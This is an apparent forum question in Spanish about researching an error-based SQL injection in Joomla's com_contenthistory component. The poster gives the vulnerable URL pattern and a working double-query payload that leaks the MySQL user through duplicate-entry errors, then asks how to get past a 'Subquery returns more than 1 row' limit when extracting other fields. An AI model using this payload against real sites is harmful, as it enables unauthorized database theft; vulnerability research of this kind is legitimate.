Actualmente estoy investigando la última vulnerabilidad que afecta a Joomla CMS.
Puede encontrar aquí hay una descripción de la vulnerabilidad , sin embargo, mi pregunta es simplemente sobre inyecciones de SQL basadas en errores y es independiente del contexto.
-
La URL base que utilizo para acceder a la vulnerabilidad es:
https://example.com/index.php?option=com_contenthistory&view=history&list[select]=SQL_INJECTION_HERE
-
La inyección que uso está en la forma:
(select col.a Array from (select count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns, jml_users group by a) col) ,'A' union select uc.id
El ejemplo anterior funciona bien: ejecutarlo un poco produce aleatoriamente Subquery returns more than 1 row
y los mensajes de error esperados Duplicate entry '::joomla@localhost::0' for key 'group_key'
que pierden al usuario de MySQL usado por Joomla :)!
Sin embargo, no puedo acceder a todo el contenido de la base de datos. Algunos campos siempre producirán el Subquery returns more than 1 row
y nunca filtrarán la información que contienen.
Esta limitación es reproducible cuando se conecta directamente a un indicador de MySQL.
No encontré ninguna descripción de esta limitación (bastante molesta) en los artículos que leí sobre el tema. ¿Es algo conocido? ¿Es específico para mi versión de MySQL (5.6.14-enterprise-commercial-advanced)? ¿Hay alguna solución?